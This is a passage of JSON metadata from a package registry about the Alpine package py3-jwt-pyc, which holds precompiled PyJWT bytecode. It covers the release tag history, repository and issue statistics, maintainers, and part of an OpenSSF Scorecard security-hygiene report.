000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:35.699Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":14.250941315178945,"stargazers_count":3.295707652233002,"forks_count":4.005436218807807,"average":5.388021296554939},"purl":"pkg:apk/alpine/py3-jwt-pyc?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=edge","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-jwt-pyc","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-jwt-pyc","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-jwt-pyc/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages/py3-jwt-pyc/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages/py3-jwt-pyc/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages/py3-jwt-pyc/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages/py3-jwt-pyc/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages/py3-jwt-pyc/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages/py3-jwt-pyc/codemeta","maintainers":[{"uuid":"michal@polanski.me","login":null,"name":"Michał Polański","email":"michal@polanski.me","url":"https://pkgs.alpinelinux.org/packages?maintainer=Michał Polański","packages_count":478,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Michał Polański","role":null,"created_at":"2023-04-20T05:38:32.070Z","updated_at":"2023-04-20T05:38:32.070Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/maintainers/michal@polanski.me/packages"}],"registry":{"name":"alpine-edge","url":"https://pkgs.alpinelinux.org/packages?branch=edge","ecosystem":"alpine","default":false,"packages_count":39508,"maintainers_count":890,"namespaces_count":3,"keywords_count":6579,"github":"alpinelinux","metadata":{"repos":["main","community","testing"],"funded_packages_count":2727},"icon_url":"https://github.com/alpinelinux.png","created_at":"2023-01-31T17:27:50.616Z","updated_at":"2026-06-10T05:16:50.784Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/namespaces"}},{"id":11139161,"name":"py3-jwt-pyc","ecosystem":"alpine","description":"Precompiled Python bytecode for py3-jwt","homepage":"https://github.com/jpadilla/pyjwt","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2024-10-27T15:44:26.000Z","latest_release_published_at":"2024-10-27T15:44:26.000Z","latest_release_number":"2.9.0-r0","last_synced_at":"2026-04-15T02:07:10.609Z","created_at":"2024-12-07T12:46:49.263Z","updated_at":"2026-05-29T04:00:35.599Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.21/community/x86_64/py3-jwt-pyc","install_command":"apk add py3-jwt-pyc","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using 